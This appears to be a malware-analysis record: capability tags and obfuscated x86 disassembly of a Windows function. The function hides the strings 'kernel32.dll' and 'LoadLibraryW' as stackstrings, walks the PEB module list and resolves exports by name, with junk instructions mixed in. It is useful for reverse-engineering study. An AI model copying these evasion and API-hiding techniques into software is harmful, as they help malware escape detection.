Function at 0x41372f
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
push ebx
xor ebx, 0x14945
sub ebx, 0x6bbb
or ebx, 0x574f
xor ebx, 0xd926
pop ebx
push edi
push ecx
add esp, 4
or edi, 0xf9c5
sub edi, 0x7daa
and edi, 0x3f2
pop edi
lea eax, [ebp - 0x15e8]
mov dword [ebp - 0xc2c], eax
mov ecx, dword [ebp - 0x4c0]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc28], edx
xor eax, eax
mov word [ebp - 0x1ac], ax
xor ecx, ecx
mov word [ebp - 0x100], cx
push edx
push esi
add esp, 4
call 0x41352d
add byte [esi + 0x40], cl
push eax
dec ebx
dec esi
inc edi
cmp eax, 0x4c48346
sub edx, 0xd73d
jmp 0x41353b
pop edx
push esi
jmp 0x413545
add esi, 0x65c6
pop esi
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xfce], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xfce]
mov word [ebp - 0x1ac], dx
mov eax, dword [ebp - 0xc2c]
mov cx, word [eax]
mov word [ebp - 0xfd0], cx
mov edx, dword [ebp - 0xc2c]
add edx, 2
mov dword [ebp - 0xc2c], edx
mov ax, word [ebp - 0xfd0]
mov word [ebp - 0x100], ax
push ebx
and ebx, 0x6095
pop ebx
push ecx
xor ecx, 0x2eb9
pop ecx
push esi
push edi
add esp, 4
add esi, 0x10f61
sub esi, 0x100e
call 0x4135d4
add byte [ebx + 0x44], al
inc ebx
xor eax, 0x83374948
les eax, [esi + ebx*2]
movzx ecx, word [ebp - 0x100]
test ecx, ecx
jne 0x4135fb
movzx edx, word [ebp - 0x1ac]
movzx eax, word [ebp - 0x100]
sub edx, eax
mov dword [ebp - 0x1524], edx
jmp 0x41365e
movzx ecx, word [ebp - 0x1ac]
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x41351a
movzx eax, word [ebp - 0x1ac]
xor eax, 0x20
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
je 0x41351a
movzx edx, word [ebp - 0x1ac]
movzx eax, word [ebp - 0x100]
cmp edx, eax
jge 0x413648
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x413652
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1524], ecx
cmp dword [ebp - 0x1524], 0
jne 0x4136a7
push eax
call 0x413676
add byte [ecx + 0x40], cl
dec ecx
xor al, 0x38
push eax
inc edx
inc edi
add esp, 4
or eax, 0xf443
xor eax, 0x1209c
jmp 0x41368d
pop eax
push ecx
jmp 0x413698
pop ecx
mov edx, dword [ebp - 0x4c0]
mov dword [ebp - 0x29c], edx
jmp 0x41370f
push edx
and edx, 0xa550
or edx, 0xe0c5
call 0x4136c3
add byte [esi], bh
aaa
cmp dword ds:[eax + 0x49], edx
inc edx
aas
cmp eax, dword [ebx - 0x357efb3c]
sub byte [ecx], bl
add byte [edx + 0x51], bl
push ecx
add esp, 4
and ecx, 0x1769c
pop ecx
mov eax, dword [ebp - 0x4c0]
mov ecx, dword [eax]
mov dword [ebp - 0x4c0], ecx
mov edx, dword [ebp - 0x4c0]
cmp edx, dword [ebp - 0xc30]
je 0x413705
mov eax, dword [ebp - 0x4c0]
cmp dword [eax + 0x30], 0
jne 0x4134bb
mov dword [ebp - 0x29c], 0
push eax
xor eax, 0x17315
pop eax
push ecx
push edi
add esp, 4
xor ecx, 0xc6cc
call 0x41372f
add byte [edi + 0x4f], cl
aaa
inc ebx
xor al, 0x83
les eax, [ebx + ebp*8]
push es
dec eax
aaa
dec esp
inc ebx
push eax
cmp al, byte [ecx + 0x113c4e9]
add byte [ecx - 0x7d], bl
mov ebp, 0xfffffd64
add byte [edi], cl
test eax, edi
or byte [eax], al
add byte [ecx + 0x6b], bh
mov word [ebp - 0x1654], cx
mov edx, 0x65
mov word [ebp - 0x1652], dx
mov eax, 0x72
mov word [ebp - 0x1650], ax
mov ecx, 0x6e
mov word [ebp - 0x164e], cx
mov edx, 0x65
mov word [ebp - 0x164c], dx
mov eax, 0x6c
mov word [ebp - 0x164a], ax
mov ecx, 0x33
mov word [ebp - 0x1648], cx
mov edx, 0x32
mov word [ebp - 0x1646], dx
mov eax, 0x2e
mov word [ebp - 0x1644], ax
mov ecx, 0x64
mov word [ebp - 0x1642], cx
mov edx, 0x6c
mov word [ebp - 0x1640], dx
mov eax, 0x6c
mov word [ebp - 0x163e], ax
xor ecx, ecx
mov word [ebp - 0x163c], cx
push edi
push eax
add esp, 4
add edi, 0x17639
add edi, 0x14d8d
or edi, 0xda8d
xor edi, 0x11249
pop edi
push ebx
push eax
add esp, 4
jmp 0x413812
xor ebx, 0x1076f
pop ebx
mov byte [ebp - 0x840], 0x4c
mov byte [ebp - 0x83f], 0x6f
mov byte [ebp - 0x83e], 0x61
mov byte [ebp - 0x83d], 0x64
mov byte [ebp - 0x83c], 0x4c
mov byte [ebp - 0x83b], 0x69
mov byte [ebp - 0x83a], 0x62
mov byte [ebp - 0x839], 0x72
mov byte [ebp - 0x838], 0x61
mov byte [ebp - 0x837], 0x72
mov byte [ebp - 0x836], 0x79
mov byte [ebp - 0x835], 0x57
mov byte [ebp - 0x834], 0
mov edx, dword fs:[0x18]
mov dword [ebp - 0x1a3c], edx
mov eax, dword [ebp - 0x1a3c]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0x1bf4], ecx
mov edx, dword [ebp - 0x1bf4]
mov dword [ebp - 0x1528], edx
push edx
or edx, 0x3d1b
sub edx, 0x6b8a
pop edx
push esi
sub esi, 0x5d36
call 0x4138be
add byte [esi + 0x3d], al
cmp eax, dword [ebp + 0x4c]
dec esi
push eax
add esp, 4
xor esi, 0x49a1
or esi, 0x5ba8
pop esi
cmp dword [ebp - 0x1528], 0
jne 0x4138e6
mov dword [ebp - 0x71c], 0
jmp 0x413b8d
mov eax, dword [ebp - 0x1528]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc3c], edx
push edi
push esi
add esp, 4
or edi, 0x6d78
pop edi
push esi
push ecx
add esp, 4
jmp 0x413911
and esi, 0xb169
add esi, 0x17840
pop esi
push eax
push ebx
add esp, 4
and eax, 0x694f
pop eax
cmp dword [ebp - 0xc3c], 0
jne 0x413942
mov dword [ebp - 0x71c], 0
jmp 0x413b8d
mov eax, dword [ebp - 0xc3c]
mov dword [ebp - 0x4c4], eax
push esi
and esi, 0x13fd5
and esi, 0x17cdf
sub esi, 0x4dee
pop esi
push edx
and edx, 0xa235
pop edx
push edi
push ecx
add esp, 4
jmp 0x413977
jmp 0x41397f
pop edi
lea ecx, [ebp - 0x1654]
mov dword [ebp - 0xc38], ecx
mov edx, dword [ebp - 0x4c4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc34], eax
xor ecx, ecx
mov word [ebp - 0x1b0], cx
xor edx, edx
mov word [ebp - 0x24], dx
push edi
xor edi, 0x2bd3
and edi, 0xaf1a
call 0x4139c4
add byte [eax + 0x32], dl
push eax
inc ecx
dec ecx
dec edi
dec ebx
add esp, 4
add edi, 0x108dc
pop edi
push eax
and eax, 0x1602d
xor eax, 0x144a6
pop eax
mov eax, dword [ebp - 0xc34]
mov cx, word [eax]
mov word [ebp - 0xfd2], cx
mov edx, dword [ebp - 0xc34]
add edx, 2
mov dword [ebp - 0xc34], edx
mov ax, word [ebp - 0xfd2]
mov word [ebp - 0x1b0], ax
mov ecx, dword [ebp - 0xc38]
mov dx, word [ecx]
mov word [ebp - 0xfd4], dx
mov eax, dword [ebp - 0xc38]
add eax, 2
mov dword [ebp - 0xc38], eax
mov cx, word [ebp - 0xfd4]
mov word [ebp - 0x24], cx
push eax
and eax, 0x103d7
add eax, 0xf082
call 0x413a4f
add byte [ebx + 0x3e], al
cmp eax, 0x503a4f33
cmp byte [ecx], bh
add esp, 4
pop eax
push ecx
push ebx
add esp, 4
add ecx, 0xe7b4
and ecx, 0xde5c
pop ecx
movzx edx, word [ebp - 0x24]
test edx, edx
jne 0x413a82
movzx eax, word [ebp - 0x1b0]
movzx ecx, word [ebp - 0x24]
sub eax, ecx
mov dword [ebp - 0x1530], eax
jmp 0x413adc
movzx edx, word [ebp - 0x1b0]
movzx eax, word [ebp - 0x24]
cmp edx, eax
je 0x4139aa
movzx ecx, word [ebp - 0x1b0]
xor ecx, 0x20
movzx edx, word [ebp - 0x24]
cmp ecx, edx
je 0x4139aa
movzx eax, word [ebp - 0x1b0]
movzx ecx, word [ebp - 0x24]
cmp eax, ecx
jge 0x413ac6
mov dword [ebp - 0x152c], 0xffffffff
jmp 0x413ad0
mov dword [ebp - 0x152c], 1
mov edx, dword [ebp - 0x152c]
mov dword [ebp - 0x1530], edx
cmp dword [ebp - 0x1530], 0
jne 0x413b25
push esi
add esi, 0xbc34
jmp 0x413af4
add esi, 0xeff0
pop esi
push edx
and edx, 0x14b1a
and edx, 0x17eb2
xor edx, 0xc576
pop edx
push ebx
xor ebx, 0xd9eb
pop ebx
mov eax, dword [ebp - 0x4c4]
mov dword [ebp - 0x71c], eax
jmp 0x413b8d
push ecx
xor ecx, 0x130a2
jmp 0x413b33
call 0x413b3f
add byte [0x3f3c5036], bh
aas
add esp, 4
and ecx, 0x3f66
pop ecx
push eax
xor eax, 0x57fe
add eax, 0x13191
pop eax
mov ecx, dword [ebp - 0x4c4]
mov edx, dword [ecx]
mov dword [ebp - 0x4c4], edx
mov eax, dword [ebp - 0x4c4]
cmp eax, dword [ebp - 0xc3c]
je 0x413b83
mov ecx, dword [ebp - 0x4c4]
cmp dword [ecx + 0x30], 0
jne 0x41394e
mov dword [ebp - 0x71c], 0
push ecx
call 0x413b9d
add byte [ebp + 0x3b], cl
inc ebx
cmp al, 0x42
aas
xor eax, 0xc4834236
add al, 0x81
int1
dec ecx
dec esi
add dword [eax], eax
sub ecx, 0xf7b9
pop ecx
push ebx
push edx
add esp, 4
or ebx, 0x12581
and ebx, 0x4a75
pop ebx
cmp dword [ebp - 0x71c], 0
jne 0x413c09
push edx
jmp 0x413bd1
add edx, 0xf477
jmp 0x413bdf
pop edx
push ebx
push edi
add esp, 4
jmp 0x413bed
add ebx, 0x120e7
xor ebx, 0x9ee3
pop ebx
mov dword [ebp - 0x768], 0
jmp 0x414731
push edx
call 0x413c19
add byte [0x414a3737], dh
cmp dword [eax + 0x34], eax
cmp al, byte [ebx - 0x1d7efb3c]
push ebp
jns 0x413c21
invalid
add byte [ecx + 0x17455f2], al
add al, ch
or al, byte [eax]
add byte [eax], al
add byte [ecx + 0x34], al
inc ecx
aaa
dec esi
dec ebx
dec esp
add esp, 4
pop edx
mov edx, dword [ebp - 0x71c]
mov eax, dword [edx + 0x18]
mov dword [ebp - 0x330], eax
mov dword [ebp - 0x72c], 0
mov ecx, dword [ebp - 0x330]
mov dword [ebp - 0x1534], ecx
cmp dword [ebp - 0x1534], 0
jne 0x413c7a
mov edx, dword [ebp - 0x72c]
mov dword [ebp - 0x3a0], edx
jmp 0x413f6b
mov eax, dword [ebp - 0x1534]
mov ecx, dword [ebp - 0x330]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x1538], ecx
jne 0x413ca2
mov edx, dword [ebp - 0x72c]
mov dword [ebp - 0x3a0], edx
jmp 0x413f6b
mov eax, 8
imul ecx, eax, 0
mov edx, dword [ebp - 0x1538]
mov eax, dword [edx + ecx + 0x78]
mov dword [ebp - 0x153c], eax
cmp dword [ebp - 0x153c], 0
jne 0x413cd4
mov ecx, dword [ebp - 0x72c]
mov dword [ebp - 0x3a0], ecx
jmp 0x413f6b
mov edx, dword [ebp - 0x330]
add edx, dword [ebp - 0x153c]
mov dword [ebp - 0x720], edx
jne 0x413cf9
mov eax, dword [ebp - 0x72c]
mov dword [ebp - 0x3a0], eax
jmp 0x413f6b
mov ecx, dword [ebp - 0x720]
mov edx, dword [ebp - 0x330]
add edx, dword [ecx + 0x20]
mov dword [ebp - 0x1bf8], edx
mov eax, dword [ebp - 0x720]
mov ecx, dword [ebp - 0x330]
add ecx, dword [eax + 0x24]
mov dword [ebp - 0x1bfc], ecx
mov edx, dword [ebp - 0x720]
mov eax, dword [ebp - 0x330]
add eax, dword [edx + 0x1c]
mov dword [ebp - 0x1c00], eax
mov dword [ebp - 0x724], 0
jmp 0x413d53
mov ecx, dword [ebp - 0x724]
add ecx, 1
mov dword [ebp - 0x724], ecx
mov edx, dword [ebp - 0x720]
mov eax, dword [ebp - 0x724]
cmp eax, dword [edx + 0x18]
jae 0x413f5f
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x1bf8]
mov eax, dword [ebp - 0x330]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x728], eax
mov ecx, dword [ebp - 0x724]
mov edx, dword [ebp - 0x1bfc]
movzx eax, word [edx + ecx*2]
mov ecx, dword [ebp - 0x1c00]
mov edx, dword [ebp - 0x330]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x1c04], edx
mov dword [ebp - 0x150], 0
jmp 0x413dc3
mov eax, dword [ebp - 0x150]
add eax, 1
mov dword [ebp - 0x150], eax
mov ecx, dword [ebp - 0x728]
add ecx, dword [ebp - 0x150]
movsx edx, byte [ecx]
test edx, edx
je 0x413e75
mov eax, dword [ebp - 0x150]
movsx ecx, byte [ebp + eax - 0x840]
test ecx, ecx
je 0x413e75
push ecx
push ecx
add esp, 4
xor ecx, 0x179ae
sub ecx, 0x1449b
sub ecx, 0x11955
jmp 0x413e0c
pop ecx
push edi
sub edi, 0x16470
jmp 0x413e1b
sub edi, 0x118b4
pop edi
mov edx, dword [ebp - 0x728]
add edx, dword [ebp - 0x150]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x150]
movsx edx, byte [ebp + ecx - 0x840]
cmp eax, edx
je 0x413e67
mov eax, dword [ebp - 0x728]
add eax, dword [ebp - 0x150]
movsx ecx, byte [eax]
xor ecx, 0x20
mov edx, dword [ebp - 0x150]
movsx eax, byte [ebp + edx - 0x840]
cmp ecx, eax
jne 0x413e6e
jmp 0x413db4
jmp 0x413e75
push esi
and esi, 0x15f76
or esi, 0x1fe2
xor esi, 0x5375
and esi, 0x13d43
pop esi
push edi
call 0x413e9d
add byte [ebx + 0x32], cl
aas
inc eax
dec ebp
inc ecx
dec esp
add esp, 4
add edi, 0xc542
pop edi
mov ecx, dword [ebp - 0x728]
add ecx, dword [ebp - 0x150]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x150]
movsx ecx, byte [ebp + eax - 0x840]
cmp edx, ecx
jne 0x413ed4
mov dword [ebp - 0xc40], 0
jmp 0x413f43
push edx
push esi
add esp, 4
xor edx, 0x14c12
sub edx, 0xa838
pop edx
push ecx
and ecx, 0x16974
xor ecx, 0x15965
pop ecx
push ecx
jmp 0x413efd
jmp 0x413f05
pop ecx
mov edx, dword [ebp - 0x728]
add edx, dword [ebp - 0x150]
movsx eax, byte [edx]
or eax, 0x20
mov ecx, dword [ebp - 0x150]
movsx edx, byte [ebp + ecx - 0x840]
or edx, 0x20
cmp eax, edx
jge 0x413f39
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x413f43
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x413f5a
mov eax, dword [ebp - 0x1c04]
mov dword [ebp - 0x3a0], eax
jmp 0x413f6b
jmp 0x413d44
mov ecx, dword [ebp - 0x72c]
mov dword [ebp - 0x3a0], ecx
cmp dword [ebp - 0x3a0], 0
je 0x414046
push eax
push ebx
add esp, 4
sub eax, 0xff8e
sub eax, 0x8f40
add eax, 0x23d5
or eax, 0x161de
enter 0x61de, 1
add byte [eax + 0x52], bl
xor edx, 0xac84
add edx, 0x14dca
or edx, 0x5859
pop edx
mov edx, dword [ebp - 0x3a0]
mov dword [ebp - 0x1c08], edx
push ebx
push ecx
add esp, 4
xor ebx, 0x4855
pop ebx
push edx
add edx, 0x60bf
pop edx
push ecx
push ecx
add esp, 4
jmp 0x413fd5
or ecx, 0x3b92
invalid
int1
invalid
pop eax
invalid